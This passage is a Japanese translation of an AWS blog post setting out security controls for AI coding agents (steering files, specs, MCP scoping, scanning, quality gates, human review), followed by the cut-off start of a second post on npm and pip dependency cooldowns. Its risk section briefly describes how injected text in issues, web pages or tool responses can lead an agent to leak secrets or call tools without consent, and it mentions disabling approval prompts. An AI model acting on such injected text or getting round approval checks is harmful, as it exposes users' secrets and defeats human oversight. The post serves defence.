本ブログは 2026 年 7 月 30 日に公開された AWS Blog “ Balancing speed and safety: A control framework for AI coding agents ” を翻訳したものです。 AI コーディングエージェントは、今や開発者のツールチェーンの一部です。Kiro や Claude Code などのツールは、自然言語のプロンプトから、機能やテストのコード、リファクタリングによるコード変更を生成します。1 つのエージェントが、午後だけで複数のリポジトリにまたがって数十件のプルリクエスト (PR) を作成することもあります。ただし、この生産性にはトレードオフがあります。エージェントは組織のリスクを理解しないまま、マシンの速度でタスクの完了を最優先に動作します。 Model Context Protocol (MCP) などのプロトコルを通じて、エージェントは統合開発環境 (IDE) の外にも手を伸ばし、API の呼び出し、データベースへのクエリ、インフラストラクチャの変更、さらには環境全体の変更まで行います。その結果、アプリケーションセキュリティチームが守るべきリソースの範囲が広がっています。 本記事では、AI コーディングエージェント向けのアプリケーションセキュリティ (AppSec) のコントロールフレームワークを紹介します。このフレームワークは 2 つの柱で構成されています。作成時 (author-time) のコントロールは、IDE でエージェントが生成するものを方向付けます。ビルド時 (build-time) のコントロールは、本番環境に到達するものを検証し、通過可否を判定します。既存のセキュアなソフトウェア開発ライフサイクル (SDLC) のコントロールも引き続き有効であり、多層防御のセキュリティ戦略に欠かせません。このフレームワークは、エージェント主導の開発に合わせて AppSec をスケールさせるために、どこにガードレールを追加すべきかを示します。また、特定のツールやクラウドには依存しません。本記事では全体を通して、AWS のサービス (IDE では Kiro 、ビルドでは AWS CodePipeline ) を具体例として使用します。ご自身のツールチェーンに合わせて応用してください。 リスク 以下の各リスクには、対策の概要を記載しています。実装の詳細は、本記事後半の「 コントロールフレームワーク 」セクションで説明します。リスクは重大度順に並べており、影響が最も大きいものから順に記載しています。 R001. プロンプトとコンテキストのインジェクション エージェントは、Issue の説明、ウェブページ、MCP のレスポンス、サードパーティパッケージ内の README ファイルなど、信頼できないコンテンツを読み込みます。外部から持ち込まれたテキストによって、エージェントがシークレットを漏洩したり、許可されていない PR を作成したり、ユーザーの同意なしにツールを呼び出したりするよう誘導される可能性があります。このリスクは プロンプトインジェクション と呼ばれ、 OWASP Top 10 for LLM Applications で最上位のリスクに位置付けられています。MCP の有無にかかわらず、外部のコンテンツを読み込むエージェントはすべてこのリスクにさらされます。ツールを接続すれば、その分だけ影響範囲が広がります。 対策 : 開発者以外からの入力は信頼できないものとして扱います。大規模言語モデル (LLM) は単一のコンテキストウィンドウ内で指示とデータを確実には区別できないため、それを前提にアーキテクチャを設計します。具体的には、信頼されたアクションをオーケストレーションするエージェントと、信頼できないコンテンツにさらされるエージェントを分離し、後者には読み取り専用かつ最小権限のアクセスのみを付与します。元に戻せないアクションには人間による承認を必須にします。また、ステアリングファイルをバージョン管理し、気付かないうちに改ざんされることを防ぎます。 R002. 意図しないデータ漏洩と過度に緩い設定 エージェントは作業を完了させることを最優先します。チェックせずに放置すると、エージェントが生成するコードは、ワイルドカードを使用した IAM ポリシー、開放されたセキュリティグループ、暗号化されていないストレージをデフォルトで使用したり、シークレットマネージャーを参照せずに機密性の高い値をコードに埋め込んだりする可能性があります。現在、ほとんどのコーディングエージェントにはこうした事態を起こりにくくする安全メカニズムが組み込まれていますが、完全ではありません。そのため、こうした可能性に備えたコントロールが引き続き必要です。 対策 : ステアリングドキュメントにセキュリティ要件を記述したうえで、IDE とパイプラインで Policy as Code によるスキャン (Checkov、cfn-nag) を実施します。詳しくは「 セキュリティコントロールとしてのコンテキスト 」を参照してください。 R003. 管理されていない変更の本番環境への到達 ゲートによる検証を受けていないコードが本番環境に到達すること自体は新しい問題ではありませんが、AI エージェントはこの問題を増幅させます。マシンの速度でコードが生成されるため、欠陥のあるパターンが発見される前に複数のリポジトリへ広がってしまう可能性があります。 対策 : PR の承認を必須とするブランチ保護ルール (人間が介在する Human-in-the-Loop のチェックポイント)、セキュリティチェックのための pre-commit フック、保護されたブランチへの直接プッシュを防ぐサンドボックス化されたエージェント実行を組み合わせます。人間によるレビューと自動化による速度のどちらをどの程度重視すべきかは、変更のリスクプロファイルによって異なります。リスクの低い多くの変更では自動チェックだけで十分な場合もありますが、リスクの高い変更には人間によるチェックポイントを設けるべきです。 R004. サプライチェーンのリスク エージェントは、現在のベストプラクティスと古いパターンを常に区別できるとは限りません。非推奨のパッケージを提案したり、新たな CVE (Common Vulnerabilities and Exposures) が報告されたライブラリバージョンを参照したり、存在しないパッケージ名をハルシネーションで生成したりすることがあり、依存関係の混同 (dependency confusion) のリスクを招く可能性があります。 対策 : パイプラインでソフトウェアコンポジション解析 (SCA) を実施し (例: Amazon Inspector のコードスキャンや Dependabot)、脆弱な依存関係や予期しない依存関係にフラグを立てます。さらにコントロールを強化するには、 AWS CodeArtifact のようにスコープを限定したレジストリから依存関係を解決します。完全にキュレーションされたレジストリがない場合でも、ロックファイルの検証と重要なパッケージの許可リスト登録によって、リスクへの露出を減らせます。 R005. 管理されていない外部アクセス エージェントは MCP やツール統合を通じて、データベースへのクエリ、API の呼び出し、インフラストラクチャの変更を行います。エージェントがアクセスできるツールやデータに制約がなければ、設定を誤った統合が 1 つあるだけで、機密性の高いリソースへの意図しないアクセスが生じます。 対策 : MCP サーバーが提供するツールとリソースを最小権限の範囲に限定し、外部接続には認証 (AuthN) または認可 (AuthZ) を適用したうえで、ツールの呼び出しを監査します。コントロールポイントとなるのは設定ファイルです。設定ファイルは、 AWS Identity and Access Management (IAM) ポリシーと同じようにレビューしてください。 R006. ハルシネーションと誤ったコード エージェントは、もっともらしく見える出力を生成します。コンパイルが通り、リンティングをパスし、一見妥当に見えるコードでも、機能的には誤っていることがあります。例えば、API の誤用、微妙なロジックエラーの混入、セキュリティ上重要な操作の誤った実装などです。ビルドに失敗するコードはすぐに検出されますが、継続的インテグレーション (CI) をパスしてしまう誤ったコードはレビューをすり抜けてしまいます。 対策 : 決定論的な検証 (静的アプリケーションセキュリティテスト (SAST)、単体テスト) と、非決定論的なレビュー (仕様に照らした LLM 支援のスクリーニング) を重ねて多層化します。どちらか一方だけで、すべての問題を検出することはできません。 R007. スコープクリープ (依頼範囲外の変更) バグ修正を指示するプロンプトを与えられたエージェントが、周辺コードのリファクタリング、不安定なテストの無効化、インポートの整理まで行ってしまうことがあります。依頼されていない変更はリグレッションを引き起こし、レビューを複雑にします。 対策 : 変更すべきものと変更してはならないものを定義したレビュー済みの仕様ドキュメントを用意し、提案された変更に的を絞ったレビューと組み合わせます。詳しくは「 スコープの境界としての仕様 」を参照してください。 これらのリスクには共通点があります。エージェントは人間がレビューできる速度を超えて出力を生成し、しかも自らの出力を修正するためのコンテキストを持っていないという点です。 以下で紹介するフレームワークは、このギャップに対処するものです。このフレームワークでは、コントロールを 2 つの柱に整理しています。作成時 (コードの生成前と生成後) と、ビルド時 (パイプライン内で、コードが本番環境に到達する前) です。作成時のコントロールはエージェントが生成するものを方向付け、ビルド時のコントロールはそれを検証します。どちらか一方だけでは不十分ですが、両方を組み合わせることで、人間のレビュー担当者に届く問題の量と重大度を減らせます。 決定論的な緩和策と非決定論的な緩和策の比較 決定論的な緩和策 [D] は、毎回同じ結果を返します。リンター、SAST スキャナー、シークレット検出、Policy as Code は、ルールに照らしてパターンを照合し、セキュリティの不変条件を定義します。例えば、重大度が Critical の検出結果がないこと、ハードコードされたシークレットがないこと、ワイルドカードを使用した IAM ポリシーがないことなどです。条件をルールとして表現できる場合に使用します。組織は既にこれらを導入しており、今後も引き続き適用する必要があります。 非決定論的な緩和策 [ND] は、モデルの判断を活用します。ステアリングドキュメント、LLM-as-judge によるレビュー、仕様準拠チェック、スコープクリープの検出などがこれに当たり、パターンではなく意図を評価します。ルールでは見逃される新しい問題を検出できる一方、結果は確率的です。評価にコンテキストや複数ファイルにまたがる推論が必要な場合に使用します。これは、AI が生成するコードに対応するために必要となる新しいレイヤーです。エージェントは、決定論的なチェックをすべてパスしながらも機能的には誤っているコードを生成する可能性があるためです。 人間によるレビュー [H] は、どちらの種類のツールでも下せないリスクベースの判断を担う最後のレイヤーです。 人間によるレビューは、すべての箇所ではなく判断が必要な箇所に適用します 。すべての変更を人間に回すと承認疲れ (consent fatigue) を招き、レビュー担当者が反射的に承認するようになって、コントロールが形骸化します。すべてを人間に回すことが反射的な対応になりがちですが、それが常に正しいとは限りません。人間の判断は、本当に必要な意思決定に限定してください。 コントロールフレームワーク このフレームワークでは、コントロールを 2 つの柱に整理しています。作成時のコントロール (柱 1) は、コードの生成前と生成直後に、IDE でエージェントが生成するものを方向付けます。ビルド時のコントロール (柱 2) は、本番環境に到達する前に、パイプラインでその出力を検証し、通過可否を判定します。各柱のコントロールには、決定論的 [D]、非決定論的 [ND]、人間 [H] のタグを付けています。 柱 1: 作成時のコントロール (コードの生成前と生成後) 作成時のコントロールは、開発者とエージェントがまだ完全なコンテキストを保持している IDE 内で機能します。PR が作成される前の段階で、プロンプトと生成された出力を方向付けます。この段階では、以下のコントロールを適用します。 セキュリティコントロールとしてのコンテキスト [ND] コントロールステートメント: すべての開発者環境がセッション開始時に読み込むステアリングドキュメントに、セキュリティの不変条件を自然言語の制約として記述します。R002 に対処します。 AI コーディングエージェントのリスクの多くは、1 つの共通する根本原因から生じています。経験豊富な開発者が暗黙のうちに持っているセキュリティのコンテキストを、エージェントが持っていないことです。セキュリティチームは、 Amazon Simple Storage Service (Amazon S3) バケットには暗号化が必要、API ゲートウェイには相互 TLS が必要、認証情報は AWS Secrets Manager から取得する必要がある、といったポリシーを定めています。しかし開発者は、構築作業の最中にこれらの要件を常に参照できるとは限りません。開発者が作るのは、セキュリティ要件に準拠したものではなく、動作するものです。AI エージェントは、組織のセキュリティポスチャを認識しないまま、トレーニングデータで主流だったパターンをデフォルトで採用するため、このギャップをさらに広げてしまいます。 その主要な緩和策がステアリングです。セキュリティチームはこれらの不変条件を自然言語のガイダンスとしてステアリングドキュメントに一度記述し、開発者が IDE で利用できる共有リソースとして配布します。エージェントはセッション開始時にこのファイルを読み込み、その内容を常に守るべき要件として扱います。 IAM ポリシーは最小権限の原則に従うこと。ワイルドカードを使用した Amazon リソースネーム (ARN) は使用しないこと。 ソースコードに認証情報をハードコードしないこと。シークレットマネージャーを使用すること。 セキュリティグループで無制限のインバウンドアクセスを許可しないこと。 これにより、コード生成が始まる前の段階までセキュリティをシフトレフトできます。 ステアリングは生成結果をセキュアなデフォルトに近づけますが、それを保証するものではありません 。ステアリングは強力なデフォルトとして位置付け、準拠していないコードのマージをブロックする後述の決定論的なゲートと組み合わせてください。セキュリティチームがルールを一度定義すれば、すべての開発者環境に自動的に引き継がれます。ステアリングによってパイプラインに到達する問題の量は減りますが、下流のスキャンが不要になるわけではありません。 効果的なステアリングルールの書き方: 各ルールは具体的かつテスト可能な内容にし、対象を具体的なリスクの分類に絞ります。エージェントがコンテキスト内に保持できるようルールセットは簡潔に保ち、スキャナーやレビュー担当者が見つけた問題を基に継続的に改善します。 スコープの境界としての仕様 [ND] コントロールステートメント: コード生成を開始する前に、レビュー済みの仕様を必須にします。変更すべきものと変更してはならないものを定義します。R007 に対処します。 仕様駆動のワークフローでは、コードを生成する前に、あいまいなプロンプトをレビュー可能な仕様に変換します。これにより、セキュリティに関する意思決定が行われる設計フェーズに、人間によるチェックポイントを設けることができます。 要件 は、エージェントがコードを 1 行も書かないうちに監査できるよう、テスト可能な記法で記述します。例えば、EARS (Easy Approach to Requirements Syntax) では WHEN [condition] THE SYSTEM SHALL [behavior] という形式を使用します。 タスク は実装ステップの順に並べ、それぞれを要件に対応付けます。 バグ修正の場合、仕様には、 変更後も維持すべき動作の文書化 という重要な要素が加わります。これは、修正後も引き続き正しく機能しなければならない動作を明示したリストであり、スコープクリープを防ぐ明文化された境界としてエージェントに提示されます。 このモデルでは、仕様が主要な成果物となり、コードは仕様から派生するものになります。人間によるレビューの労力は、実装の差分を 1 行ずつ読むことではなく、仕様が適切な制約のもとで適切な問題を解決しているかどうかの確認に集中します。 MCP を使用したツールアクセスの制御 [D + ND] コントロールステートメント: 各 MCP サーバーが提供するツールを、エージェントが必要とする最小限のものに限定し、開発者自身の認証情報ではなく、権限を絞り込んだ専用の認証情報を付与します。レビュー済みの MCP サーバーの許可リストを維持します。R005 に対処します。 MCP サーバーは、エージェントと外部ツール、データとの間で、管理されたゲートウェイとして機能します。 依存関係の管理 – プライベートパッケージレジストリの前段に配置した MCP サーバーは、パブリックインターネットではなく、キュレーションされたパッケージから依存関係を解決します。これはサプライチェーンリスクに対する決定論的な制約となります。 インフラストラクチャツール – 現在のリソース設定を可視化することで、既存のインフラストラクチャと競合するテンプレートの作成を防ぎます。 範囲を限定したアクセス許可 – 各 MCP サーバーは、定義されたツールとリソースのセットを公開します。エージェントがアクセスできる対象を厳密に選べるため、統合レイヤーで最小権限を実現できます。この専用の認証情報は、エージェントの設定を通じて提供します (Kiro では env ブロックを使用して .kiro/settings/mcp.json で指定します)。 autoApprove: ["*"] を設定すると、すべてのツール呼び出しで人間による承認プロンプトが表示されなくなるため、使用は避けてください。 IDE でのコードスキャン [D] コントロールステートメント: IDE でリアルタイムの静的解析を実行し、開発者 (およびエージェント) が完全なコンテキストを保持しているうちにセキュリティの問題を洗い出します。R002、R006 に対処します。 リアルタイムの診断により、開発者が入力している最中に構文エラー、型の不一致、設定の問題を検出できます。不正な形式の IAM ポリシーは、エージェントがそれを前提にさらに構築を進める前に検出されます。その上にセキュリティに特化した拡張機能 (ESLint のセキュリティプラグイン、Checkov、SAST) を重ねることで、コードの内容がコンテキストに残っているうちに即座にフィードバックを得られます。 フック: アクション発生時点での自動化されたガードレール [D + ND] コントロールステートメント: ファイル保存イベントには決定論的なチェックを、タスク完了イベントには非決定論的な検証を関連付けます。R002、R007 に対処します。 シェルコマンドフック [D] – ファイルの保存時にトリガーされ、リンター、フォーマッター、セキュリティスキャナーを実行します。毎回同じ結果を返し、厳格なルールを適用します。 AI を活用したフック [ND] – タスクの完了時にトリガーされます。実装が仕様と一致しているかを検証し、テストされていないエッジケースや、タスクの範囲外で変更されたファイルがないかを確認するよう、エージェントにプロンプトを送ります。 柱 2: ビルド時のコントロール (パイプライン内) ビルド時のコントロールは、コードがコミットされてから本番環境に到達するまでの間に、パイプラインで実行されます。エージェントが生成したものを検証して通過可否を判定し、作成時のコントロールで見逃された問題を捕捉します。この段階では、以下のコントロールを適用します。 多層的なセキュリティスキャン [D] コントロールステートメント: シークレット検出、静的解析、依存関係のスキャン、Infrastructure as Code (IaC) のスキャンを順番に実行します。重大度が Critical の検出結果が 1 つでもあれば、ビルドを失敗させます。R002、R003、R004 に対処します。 シークレット検出は、最もコストが低く、かつ重大度の高い種類の問題に対処できるため、最初に実行します。AI エージェントが誤って含めてしまう可能性のある、ハードコードされた API キー、データベース接続文字列、認証情報をスキャンします。 SAST は、インジェクションの問題、安全でないデシリアライゼーション、リソースリークがないかソースコードをスキャンします。カスタムルールを使用すると、過度に広範な例外処理、非推奨の API、プレースホルダーの認証情報、 eval() による動的なコード実行など、AI 特有のアンチパターンも検出対象にできます。 SCA は、依存関係に含まれる既知の CVE を特定します。AI が生成したコードは、非推奨のパッケージを参照したり、ハルシネーションによって存在しないパッケージ名を生成して依存関係の混同を招いたりする可能性があるため、SCA は特に重要です。 IaC のスキャンでは、 AWS CloudFormation 、 Terraform 、 AWS Cloud Development Kit (AWS CDK) のテンプレートを、デプロイ前にセキュリティポリシーに照らして検証します。エージェントが作成した過剰な権限を持つ IAM ロール、暗号化されていないストレージ、パブリックに公開されたリソースを検出します。 いずれかのステージが失敗すると、パイプラインは停止します。結果は、コンプライアンス監査に利用できるよう標準形式の SARIF (Static Analysis Results Interchange Format) でエクスポートされ、下流の人間のレビュー担当者に渡されます。オープンソースの Automated Security Helper (ASH) は、シークレット、SAST、SCA、IaC の各スキャナーを 1 つのコマンドにまとめたツールです。ローカル環境と AWS CodeBuild のどちらでも実行でき、後続のゲートで利用できるよう SARIF を出力します。 品質ゲート [D] コントロールステートメント: スキャンの種類ごとに合格/不合格のしきい値を定義します。重大度が Critical または High の検出結果が 1 つでもあれば、デプロイをブロックします。R003 に対処します。 品質ゲートは、スキャン結果を「進めるか止めるか」の判断に変換します。重大度ごとにしきい値を定義し、Critical の検出結果はブロック、High は正当な理由の説明を求め、Medium は追跡対象とします。ゲートは決定論的に動作し、しきい値を超えた場合はパイプラインが停止します。例外を認める場合は、文書化された承認が必要です。 ブロッキングモードとアドバイザリーモードを使い分けます。main ブランチでは失敗としてブロックし、フィーチャーブランチではアドバイザリー (警告のみ) とします。ゲートが開発の妨げとなり、チームがゲートを迂回するような事態は避けてください。 AI 支援レビュー [ND] コントロールステートメント: 人間がレビューする前に、LLM をレビュー担当者として使用し、すべての PR について仕様への準拠、スコープクリープ、セキュリティのアンチパターンを事前スクリーニングします。R001、R006、R007 に対処します。 仕様への準拠 – 実装は要件ドキュメントと一致しているか? スコープの検証 – タスクで定められた範囲外のファイルが変更されていないか? セキュリティパターンのレビュー – SAST を通過しても意図に反するロジックエラー、API の誤用、安全でないパターンはないか? この事前スクリーニングにより、人間のレビュー担当者はフォーマットや明らかな問題ではなく、実質的なリスクに集中できます。AWS では、 AWS Security Agent (英語原文が公開された 2026 年 7 月 30 日の時点で、コードレビュー機能はプレビュー中) が、AWS マネージドのセキュリティ要件とカスタムのセキュリティ要件に照らして PR をチェックします。LLM のレビュー担当者はスクリーニングを行って検出結果を提示しますが、マージの判断は人間が行います。 重要な原則: コードを書いたエージェントに、そのコードをレビューさせてはいけません。 別のセッションを使用すれば自己確証バイアスを避けやすくなりますが、セッションを分けるだけでは、生成側の盲点を必ずしも回避できません。同じモデルであれば、2 つのセッションが同じ盲点を共有している可能性があるためです。可能であれば、レビューには別のモデルを使用し、レビュー担当者が同じ系統的な弱点を引き継ぐ可能性を低減してください。 Human-in-the-Loop のレビュー [ND + H] コントロールステートメント: ほとんどの PR、特にセキュリティ上重要なコードや影響範囲 (blast radius) の大きいコードにかかわる PR では、人間による承認を必須にします。ツールが成熟するにつれて、リスクの低い変更はエージェント支援による承認や完全に自動化された承認の対象にできる可能性があります。レビュー担当者が十分な情報に基づいて迅速に判断できるよう、スキャン結果、LLM による事前スクリーニングの出力、仕様のコンテキストを提供します。R003 に対処します。 レビューの深さは、変更のリスクに応じて調整します。リスクの低い変更や定型的な変更はより簡易なレビューで対応できますが、セキュリティ上重要な変更や新しいロジックを含む変更には、詳細なレビューを必須とし、2 人目のレビュー担当者を加えるべきです。 スキャナーは既知のパターンを検出できますが、コードが意図したビジネスロジックを実装しているかどうかは判断できません。人間によるレビューは、 エージェントをどこまで信頼できるかの見極め にも役立ちます。チームは、エージェントが得意とする領域 (定型コード、テストの作成) と、これまで苦手としてきた領域 (新しいビジネスロジック、セキュリティ上重要な操作) について感覚をつかんでいきます。ただし、この境界はモデルの進化に伴って変化することを念頭に置いておく必要があります。 承認ゲートは 2 か所に配置します。1 つはセキュリティスキャンの後 (レビュー担当者はスキャン結果をコンテキストとして参照しながら、正確性とビジネスロジックに集中します)、もう 1 つは本番環境へのデプロイ前 (統合テスト後の最終承認) です。人間によるレビューは保証ではなく、二次的なコントロールとして扱ってください。レビュー担当者自身も非決定論的であり、問題を見逃すことがあります。そのため、人間によるレビューは決定論的なゲートに取って代わるものではなく、その上に重ねるものと考えてください。 AWS でのフレームワークの実践 このフレームワークは特定のツールに依存しませんが、AWS には各柱を実現するための構成要素がそろっています。以下のサービスは、前述のコントロールに直接対応します。作成時のガードレールには Kiro を、ビルド時のゲートには CodeBuild と CodePipeline を使用します。 Kiro: 構造化された AI 開発 Kiro は柱 1 に対応し、開発者とエージェントが完全なコンテキストを共有している IDE に作成時のコントロールを組み込みます。以下に挙げる各機能はそれぞれ 1 つのコントロールを実装するもので、リポジトリ内の .kiro/ 配下で設定します。そのため、ガードレールは開発者ごとに設定されるのではなく、バージョン管理されたうえでチーム全体で共有されます。 ステアリングドキュメント – .kiro/steering/ 内の Markdown ファイルが、セッション開始時にエージェントのコンテキストに読み込まれます。fileMatch を使用した条件付きの読み込み (例: ["**/*.tf"] ) により、IaC 固有のルールを関連する場合にのみ読み込めます。 仕様駆動のワークフロー – レビューのチェックポイントを備えた 3 フェーズの仕様 (EARS による要件、設計、タスク) を使用します。バグ修正の仕様では、変更されない動作を明示的に記録します。 エージェントフック – ファイルの保存、ツールの呼び出し、タスクの完了時にトリガーされます。シェルフックは決定論的なチェック (リンター、テスト) を実行し、 Ask Kiro フックは非決定論的なレビューのために AI プロンプトを実行します。例えば、セキュリティ用の pre-commit スキャナーフックを使用すると、エージェントがタスクを完了した時点で、ハードコードされた認証情報にフラグを立てることができます。 プロパティベーステスト – 仕様やフックの指示に基づいて、Kiro は数百とおりのランダムな入力を試すプロパティベーステストを生成できます (例えば、hypothesis ライブラリを使用)。これにより、手作業で書いたテストスイートでは見逃しがちなエッジケースを洗い出せます。 MCP 統合 – Kiro をプライベートパッケージレジストリ、社内ドキュメント、Issue トラッカー、インフラストラクチャツールに接続し、前述の管理されたツールアクセスのパターンを実現します。 エンタープライズ環境向けに、Kiro は AWS IAM Identity Center によるシングルサインオンをサポートしており、サブスクライバーには知的財産権 (IP) に関する補償を提供しています。Kiro のドキュメントで 現在利用可能なリージョンを確認してください。 AWS CodeBuild と AWS CodePipeline: パイプラインのコントロール CodeBuild は、各スキャンツール (シークレット、SAST、SCA、IaC のチェック) をビルドアクションとして実行します。終了コードが 0 以外の場合はアクションが失敗し、ステージは OnFailure の設定に従って停止またはロールバックします。検出結果はコンプライアンス対応のために SARIF 形式で Amazon S3 にエクスポートされ、CodePipeline のアクション変数を通じて下流の承認アクションに渡されます。 CodeBuild の終了コード により、スキャンが失敗した場合にパイプラインを停止します AWS Lambda 呼び出しアクション により、設定可能なしきい値に照らしてスキャン結果を評価し、合格/不合格の判断を返します 手動承認アクション により、パイプラインを一時停止し、 Amazon Simple Notification Service (Amazon SNS) で通知を送信して、レビュー用のアーティファクトへのリンクを提供します。判断内容とレビュー担当者の ID は監査用にログに記録されます 以下の表は、フレームワーク全体を 1 つにまとめたもので、SDLC の各ステージと、そこで適用される決定論的 [D] および非決定論的 [ND] のコントロールを示しています。どのステージにも両方のコントロールが含まれているのは、どちらか一方だけでは不十分であることを表しています。 ステージ 決定論的 [D] 非決定論的 [ND] IDE (生成前) ステアリングファイルの読み込み ステアリングドキュメント、仕様駆動の制約 IDE (生成後) シェルフック: リンター、フォーマッター、型チェッカー、シークレットスキャン AI を活用したタスク完了フック、コンテキストの制約 PR SAST、SCA、IaC のスキャン LLM による PR の事前スクリーニングとスコープの検証 パイプライン (デプロイ前) セキュリティスキャン一式、統合テスト、Policy as Code 人間の承認者向けの AI 支援レビュー デプロイ後 ランタイムモニタリングと異常検出 AI を活用したインシデントトリアージ まとめ 本記事では、レビューされていないリスクを本番環境に持ち込むことなく、マシンの速度で AI コーディングエージェントを活用するためのフレームワークを紹介しました。このフレームワークでは、2 つのポイントでガードレールを重ねます。 作成時のコントロール – ステアリング、仕様、範囲を限定したツールによって、IDE でエージェントが生成するものを方向付けます。 ビルド時のコントロール – スキャン、品質ゲート、多層的なレビューによって、本番環境に到達する前に生成物を検証します。 単一のレイヤーだけでは十分ではありません。決定論的なゲートが厳格なルールを適用し、非決定論的なレビューがそこで見逃された問題を検出し、人間の判断は、本当に必要な意思決定にのみ用います。これらを組み合わせることで、エージェント主導の開発に合わせて AppSec をスケールさせることができます。 今日から取り組めること ステアリングと仕様から始める – セキュリティ要件をステアリングとして記述し、新機能の開発には仕様を活用します。最小限の労力で最大の効果が得られます。すぐに使える出発点としては、オープンソースの Project CodeGuard (Amazon がコントリビューティングメンバーとして参加している OASIS Open の Coalition for Secure AI のプロジェクト) があります。一般的なリスクの分類 (ハードコードされた認証情報、IaC の設定ミス、サプライチェーン、MCP のセキュリティ) に対応した再利用可能なステアリングルールが公開されており、ご自身の AWS 環境に合わせて応用できます。 決定論的なパイプラインゲートを追加する – SAST、SCA、シークレット検出を統合します。AI を使用しているかどうかにかかわらず、最低限必要な対策です。 調整と改善を繰り返す – コントロールが検出した内容を確認し、繰り返し発生する問題に応じてステアリングを調整します。信頼が高まるにつれて、エージェントの自律性を広げていきます。 責任の所在 – リリースするもののセキュリティに責任を負うのは、引き続き開発者です。AI エージェントは開発を加速させますが、責任の所在を移すものではありません。 詳細情報 Kiro のドキュメント AWS CodePipeline ユーザーガイド AWS Agentic AI Security Scoping Matrix Daniel Begimher Daniel は AWS の Senior Security Engineer です。AWS 初のお客様向け AI セキュリティエージェントを構築し、リリースしました。AI インシデント対応エージェントが行動を起こす前にどれだけ深く調査するかを測定するベンチマーク SIR-Bench と、オープンソースのスキャナー Automated Security Helper (ASH) の開発者でもあります。AWS の Application Security Technical Field Community を共同でリードしており、AWS re:Invent、re:Inforce、Cyber Week などのカンファレンスで講演しています。 Danny Cortegaca Danny は Principal Security Specialist Solutions Architect で、AWS Security and Compliance Technical Field Community のアプリケーションセキュリティ領域を共同でリードしています。2021 年に AWS に入社し、世界有数の大規模組織と連携して、複雑なセキュリティ環境や規制環境への対応を支援しています。お客様とアプリケーションセキュリティについて語り合うことが大好きで、多くのお客様が脅威モデリングを実践に取り入れられるよう支援してきました。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 7 月 29 日に公開された AWS Blog “ Secure your npm and pip package updates in Amazon Linux ” を翻訳したものです。 npm や PyPI からパッケージをインストールして使用している場合、パッケージが公開されてからの数時間が最もリスクの高い期間です。スキャナーは公開前のパッケージを分析できないためです。Node.js と Python のパッケージに影響を与えた最近のサプライチェーンイベントは、数時間以内に検出され、削除されています。しかし、それらのパッケージが一般に公開されていた間にユーザーがインストールしていた可能性があり、セキュリティインシデントにつながるおそれがありました。この後で示すデータからわかるように、ユーザーがそれらのパッケージの利用を 1 日待っていれば、最近のサプライチェーンセキュリティイベントはいずれも影響を及ぼさなかったはずです。 この記事では、お使いの環境がこのリスクにさらされるのを防ぐ 1 行の設定として、npm と pip の依存関係のクールダウンを紹介します。この設定により、パッケージマネージャーは過去 24 時間以内に公開されたバージョンをスキップするようになります。その結果、予期しないパッケージがシステムに到達する前に、セキュリティコミュニティがそれらを検出して削除する時間を確保できます。これらの設定で、デフォルトの構成を保護できます。一方、パッケージの更新には、セキュリティリスクに対処するためのセキュリティ修正を受け取るという、もう 1 つのユースケースがあります。この場合は、パッケージをより新しいバージョンに更新します。この記事では、クールダウン設定をオーバーライドする方法も紹介します。この方法を使用すると、新たにインストールするパッケージの更新は遅延させたまま、最新のセキュリティパッチをインストールできます。コードの欠陥の重大度を評価し、既知のリスクがある場合はセキュリティ修正を適用することをお勧めします。重大度に基づくセキュリティ修正の扱い方や、重大度に応じたセキュリティ修正の SLA の指定方法は、このブログ記事の範囲外です。 背景: 相反する 2 つのリスク Amazon Linux のパッケージで提供されるソフトウェアは、リリース前に Amazon のパッケージメンテナーによるレビューを受け、ガードレールを通過します。オープンソースソフトウェアも、同様のプロセスとガードレールの下で開発、保守されています。一方、npm と PyPI のレジストリは誰でもパッケージを公開でき、レビューも必須ではありません。そのため、なりすましや盗まれた認証情報などが原因で、予期しないパッケージがレジストリに追加される可能性があります。つまり、2 つのリスクの板挟みになります。古いソフトウェアにはパッチが適用されていない脆弱性が蓄積していく一方で、新しいパッケージにはまだ検出されていない予期しない脆弱性が含まれている可能性があります。最善のアプローチは、最新のリリースをすぐには採用せずに十分に新しい状態を保ちながら、推奨されるセキュリティ修正を適用することです。次の図は、2 種類のリスクの関係を抽象的に示しています。予期しない更新はガードレールを回避する可能性があるため、サプライチェーンのリスクはパッケージの公開直後に最も高くなります。パッケージの公開後は、監査でその内容をレビューし、時間の経過とともに潜在的な欠陥を特定できます。セキュリティ修正を適用しなければ、コードのあらゆる欠陥によるリスクが積み重なっていきます。 図 1: ソフトウェアのライフタイムを通じたリスク。パッチが適用されていない脆弱性のリスクは、時間の経過とともに増加します。また、公開されたばかりのソフトウェアは、サプライチェーンのリスクも高くなります。 問題: 最初の 1 日のリスクが最も高い サプライチェーンイベントには一貫したパターンがあります。想定外の作成者が、予期しないパッケージまたはパッケージバージョンを公開し、自動化されたシステムやユーザーがそれを取り込むのを待ちます。セキュリティ研究者や自動スキャナーは通常、数時間以内にこれらのパッケージを検出して削除しますが、その時点で既にシステムはリスクにさらされています。 Datadog の 2026 State of DevSecOps レポート によると、JavaScript アプリケーションの 54% が、少なくとも 1 つの依存関係を、そのリリースから 1 日以内にインストールしています。この時間枠こそが、サプライチェーンのリスクが最も高い期間です。最近のイベントを見ると、検出がいかに迅速に行われているかがわかります。 イベント リスクにさらされる期間 Nx s1ngularity (2025 年 8 月) 4～5 時間 axios (2026 年 3 月) 2～3 時間 Bitwarden CLI (2026 年 4 月) 93 分 TanStack (2026 年 5 月) 30 分 node-ipc (2026 年 5 月) 24 時間未満 解決策: 当日に公開されたパッケージをスキップする 依存関係のクールダウンは、最近公開されたバージョンをスキップするようパッケージマネージャーに指示する仕組みです。レジストリに公開されてから設定した期間 (例えば 1 日) が経過していないバージョンはインストールされないため、セキュリティコミュニティが予期しないバージョンを検出して削除する時間を確保できます。 1 日のクールダウンを設定すれば、前述の表に記載したイベントをすべてブロックできます。注目すべきは、これらのイベントのいくつかでは有効な来歴証明 (provenance attestation) が生成され、ビルド検証にも合格していた点です。つまり、来歴チェックだけではこれらのイベントを阻止できませんでした。クールダウンは信頼ではなく経過時間に基づいてブロックするため、認可メカニズムとは独立して機能します。 npm (v11.10.0 以降) と pip (v26.1 以降) は、どちらもクールダウンをサポートしています。Amazon Linux 2023 では、 リリース 2023.12.20260608 以降、Node.js 24 と Python 3.14 でこれらのパッケージを提供しています。 固定されたバージョンを指定した npm ci または pip install -r requirements.txt 